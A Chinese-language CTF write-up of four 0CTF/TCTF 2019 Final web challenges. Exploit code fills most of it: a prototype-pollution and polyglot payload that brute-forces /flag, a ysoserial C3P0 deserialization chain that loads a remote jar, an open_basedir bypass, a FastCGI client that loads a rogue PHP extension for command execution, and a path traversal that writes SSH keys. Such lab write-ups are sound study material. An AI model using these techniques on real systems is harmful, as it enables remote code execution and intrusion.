导航
导航

0CTF/TCTF 2019 Final Web Writeup

背锅的一次比赛

114514

Improved Version Of RCTF2019 CALCALCALC

题目是在RCTF2019 CALCALCALC的基础上出的,相较于RCTF的题目,主要的变化有三个:

  • 修复了时间盲注
  • 将BSON换为了JSON
  • 添加了计算表达式的限制

题目提供了一个数字表达式的计算,初始为:114+514,并在typescript中加了限制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
validator: {
validate(value: any, args: ValidationArguments) {
const str = value ? value.toString() : '';
if (str.length === 0) {
return false;
}
if (!(args.object as CalculateModel).isVip) {
if (str.length >= args.constraints[0]) {
return false;
}
}
if (str !== "114+514") {
return false;
}
return true;
},
},

首先是对长度的限制,这一点与RCTF2019的相同,不多做阐述,详情参阅:RCTF2019 Official Writeup

这里会使用toString来校验我们的数据,由于提供的数据类型类型是any,可以使用JSON数据进行原型链污染,从而绕过114+514的校验,绕过方式为:

1
{"expression":"1+1","__proto__":{"b":"114+514"}}

接下来便会接触到题目的计算逻辑,在题目中,会将我们expression的数据分别传输至nodephppython三种后端去计算结果,当返回结果一致时,才输出结果,如果结果不一致,则输出:That's classified information. - Asahina Mikuru

因此接下来需要找到一个能够同时在三种后端中生效的Payload,这里我们可以使用注释来同时攻击pythonphp,再通过对大整数的不同解析攻击node。先给出Exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import json
import string

def brute(pos, val):
data = """{"expression":"1//len('''\\n;if([1,0][10000000000000001 - 10000000000000000]){if(require('fs').readFileSync('/flag', 'utf8')[%d]=='%s'){'1';}else{'';} }else{1;}//''') or ['','1'][open('/flag').read()[%d]=='%s']","__proto__":{"b": "114+514"},"isVip": true}""" % (pos, val, pos, val)
r = requests.post("http://192.168.201.16/calculate", data=data, headers = {'Content-Type': 'application/json'})
return r.text
# print(data)

flag = ''

for i in range(100):
for c in string.printable:
if ("ret" in brute(i, c)):
flag += c
print(flag)
break

先将构造思路中的两个点拆开来说:

  1. 大整数的不同解析
  2. 对注释的不同解析

对大整数的不同解析

对大整数的不同解析这个利用方式是从RCTF2018 cat.Rev2的writeup发现的利用方式:cats Rev. 2 Writeup by upbhack

在node中,由于其不支持大整数,因此在计算10000000000000001 - 10000000000000000时,会返回0,而在php和python中,则能够解析这两者,因此会返回1,这里便可以通过10000000000000001 - 10000000000000000的值来判断执行的语句,对应到我们的payload中便是:

1
2
3
4
5
6
7
if([1,0][10000000000000001 - 10000000000000000]{
...
node
...
}else{
// comment
}

同时可以观察到,在else语句中我们使用了//来将后面用于在phppython运行的语句注释掉了。

对注释的不同解析

有关于这一点,将我们的payload放入python和php的语法高亮规则中便能理解,在python中:

在php语法中:

在nodejs中:

如此便能同时攻击三个后端了

Tctf Hotel Booking System

这个题目也是最可惜的一个题目,由于粗心的问题,最为关键的gadget放在注释里却没有注意到,导致寻找gadget便用了十来个小时,关键是还没找到(x

题目是Apache Tapestry的一个demo,我们可以通过页面的一些信息找到一个近乎一致的demo:Demo

在题目中,我们可以发现一个文件下载的攻击点,这个攻击方式是通过assets的官方feature,我们打开题目时,观察其文件加载会发现类似于这种格式的路径:

1
http://xxx/assets/(path)/(hash)/demo.jpg

其中,path是demo.jpg的路径,hash是demo.jpg文件的hash值,通过这种方式,可以利用assets来加载文件,比如jpg静态文件,官方文档地址为:Click Here

在我们搭建好本地demo后,我们可以发现target下的目录结构为:

AppModule.class为例,路径便是:

1
services/AppModule.class

而这个信息则需要串联一个较为神奇的点,在题目中,如果我们访问的文件的hash是不完整的,它会做一个自动跳转,比如我们访问:

1
http://chall.ip/assets/xx/services/AppModule.class

它会由于hash的不正确,转而跳转至正确的hash路径:

1
http://127.0.0.1:30125/assets/(correct hash)/services/AppModule.class

此时我们只需要将ip换为题目的ip便可以下载到对应的class文件。按照本地的class结构下载完class文件后,我们可以发现在AppModule.class中对于HMAC的设置被修改为了:

1
configuration.add(SymbolConstants.HMAC_PASSPHRASE,"TOP_SECRET_PASSPHRASE_YOU_WILL_NEVER_KNOW:)");

http://0.0.0.0:8080/index.searchform提交的数据中,便存在一个反序列化的攻击点t:formdata:

1
t:formdata=P7crGfP9hcuUq9D5E5+kJLaAq8c=:H4sIAAAAAAAAAJWQsUrEQBRFn4HAQkRRtLDXdtbCbbRxEYSFIIFgLZPJM45MZmZnJibbWPkTNn6BbKVfsIWd/+AH2FhYWZhJGsFFsHucd+Ee7uM7hPUaRBOZY3M4rdDMwBoYKVMQqim7QuKoRuvMbESYMih4RjJqkYyzFlLmTjmKfDdFV+m980X0tv3yFcBKDBFT0hklzmiJDjbja3pDh4LKYpg6w2Vx1GgHYde4RGD8X4HEKIbWplVWcmu5kot5fnD5+fAaADS63oKNvsGo2mo0mhYIdgq3AA4iDxM0SQuXJ30wrNdhtX9Z3+K85/GfnkyVWkmUzpJOzP3WvE8/dp6f7k4CCGIYMMHb9CT3fX5DFFi2wG/YIb/ZoG+/2P9xfgP6pMxQxwEAAA==

其数据分为两部分,以冒号分割,前一部分为后一部分的HMAC码,后一部分为经过序列化的数据,编码规则为:

1
base64_encode(gzencode(serial_data))

我们将这个数据按规则解开可以发现:

可以发现这确实是很明显的序列化数据。该数据的反序列化点则在于org.apache.tapestry5.corelib.components.Form$executeStoredActions:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
String[] values = request.getParameters(FORM_DATA);

if (!request.getMethod().equals("POST") || values == null)
throw new RuntimeException(messages.format("core-invalid-form-request", FORM_DATA));
......
try
{
ois = clientDataEncoder.decodeClientData(clientEncodedActions);
while (!eventCallback.isAborted())
{
String componentId = ois.readUTF();
boolean cancelAction = ois.readBoolean();
ComponentAction action = (ComponentAction) ois.readObject();
......

接下来便是找一个gadget来触发反序列化,题目中提供的信息是C3P0,后续的链也是通过C3P0完成。在调试的时候,会发现直接使用ysoserial生成的payload在readUTF时是会报错的,需要我们在生成payload时writeUTF:

1
2
3
oos.writeUTF("xxx");
oos.writeBoolean(false);
oos.writeObject(expobject);

接下来,在ysoserial中新建一个测试样例,直接跑样例便可以了,附上测试样例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package ysoserial;

import org.apache.tapestry5.internal.TapestryInternalUtils;
import org.apache.tapestry5.internal.services.ClientDataEncoderImpl;
import org.apache.tapestry5.internal.services.URLEncoderImpl;
import org.apache.tapestry5.internal.util.Base64InputStream;
import org.apache.tapestry5.internal.util.MacOutputStream;
import org.apache.tapestry5.services.ClientDataEncoder;
import org.apache.tapestry5.services.ClientDataSink;
import org.apache.tapestry5.services.URLEncoder;
import ysoserial.payloads.ObjectPayload;

import javax.crypto.spec.SecretKeySpec;
import java.io.ObjectOutputStream;
import java.security.Key;

public class TapestryHotelBookingTest {

public static void main(String[] args) throws Exception{

final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass("C3P0");
final ObjectPayload payload = payloadClass.newInstance();
final Object expobject = payload.getObject("http://localhost:10000/Exploit.jar:Exploit");

URLEncoder urlEncoder = new URLEncoderImpl();
ClientDataEncoder cde = new ClientDataEncoderImpl(urlEncoder, "TOP_SECRET_PASSPHRASE_YOU_WILL_NEVER_KNOW:)", null, null, null);
ClientDataSink cds = cde.createSink();
ObjectOutputStream oos = cds.getObjectOutputStream();
oos.writeUTF("orich1");
oos.writeBoolean(false);

oos.writeObject(expobject);

System.out.println(cds.getClientData());
}
}

然后便可以愉快RCE了

Wallbreaker (Not Very) Hard

题目本身给出了一个swp文件泄漏,可以从中发现提供给选手的shell,连上之后,首先要做的便是绕过openbase_dir,这里绕过方式可以参考twitter前段时间公布的bypass方式,需要注意的一点是,由于需要先chdir到子目录,而html目录下是无权新建目录的,因此需要先chdir到tmp目录下:

1
2
3
4
5
6
7
8
9
10
11

chdir("/tmp");
mkdir("a");
chdir("a");
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(scandir("/"));

此时可以发现根目录下有readflag命令,我们需要通过执行readflag完成读取flag,也就是题目中所说的bypass disable_function。由于已经拿到了shell,因此可以攻击FastCGI,通过加载配置项尝试bypass,常规的bypass手法比如PHP_VALUE disable_function=是不生效的,具体原因可以参见manual:
9E4EB469F6956AEC1C2DC1D38C035A17

此时便需要找一个新的方式来调用系统命令。我们可以看到另两个参数:extensionextension_dir,可以通过这两个参数指定扩展路径及扩展名,从而在加载扩展时,完成RCE。

因此接下来的思路便是编译一份PHP扩展,通过扩展加载命令函数,完成RCE,关于fpm通信这个环节,可以参考Click Here

最终payload为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
class Client
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const RESPONDER = 1;

protected $keepAlive = false;
protected $_requests = array();
protected $_requestCounter = 0;

protected function buildPacket($type, $content, $requestId = 1)
{
$offset = 0;
$totLen = strlen($content);
$buf = '';
do {
// Packets can be a maximum of 65535 bytes
$part = substr($content, $offset, 0xffff - 8);
$segLen = strlen($part);
$buf .= chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($segLen >> 8) & 0xFF) /* contentLengthB1 */
. chr($segLen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $part; /* content */
$offset += $segLen;
} while ($offset < $totLen);
return $buf;
}

protected function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}

protected function readNvpair($data, $length = null)
{
if ($length === null) {
$length = strlen($data);
}
$array = array();
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}

public function buildAllPacket(array $params, $stdin)
{
// Ensure new requestID is not already being tracked
do {
$this->_requestCounter++;
if ($this->_requestCounter >= 65536 /* or (1 << 16) */) {
$this->_requestCounter = 1;
}
$id = $this->_requestCounter;
} while (isset($this->_requests[$id]));
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->keepAlive) . str_repeat(chr(0), 5), $id);
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value, $id);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest, $id);
}
$request .= $this->buildPacket(self::PARAMS, '', $id);
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin, $id);
}
$request .= $this->buildPacket(self::STDIN, '', $id);

return $request;
}
}
$sock = stream_socket_client("unix:///run/php/U_wi11_nev3r_kn0w.sock", $errno, $errstr);
$client = new Client();
$payload_file = "/tmp/payload.php";
$params = array(
'REQUEST_METHOD' => 'GET',
'SCRIPT_FILENAME' => $payload_file,
'PHP_ADMIN_VALUE' => "extension_dir = /tmp\nextension = a.so",
);
$data = $client->buildAllPacket($params, '');
fwrite($sock, $data);
var_dump(fread($sock, 4096));

babydb

题目给了源码和对应的可执行文件,主要思路便是审计源码找出漏洞,题目是用ocaml实现的一个web服务器。有以下几个路径:

1
2
3
4
5
6
7
8
match handler with
| "register" -> register req body args
| "login" -> test_login req body args
| "load" -> default_load req body args
| "store" -> default_store req body args
| "static" -> static req body args
| "batch" -> batch req body args
| _ -> unknown

跟入其对应的函数,可以发现在loadstore功能中提供了单行读以及文件写功能。

可以通过先注册一个账号,随后通过batch登陆,再二次空用户名登陆之后,便能做到文件读和文件写,比如:

接下来便可以通过文件写,写入ssh所需的公钥,登陆即可。

1
login?user?user:login??:store?../../.ssh/authorized_keys?ssh-rsa xxxxxxx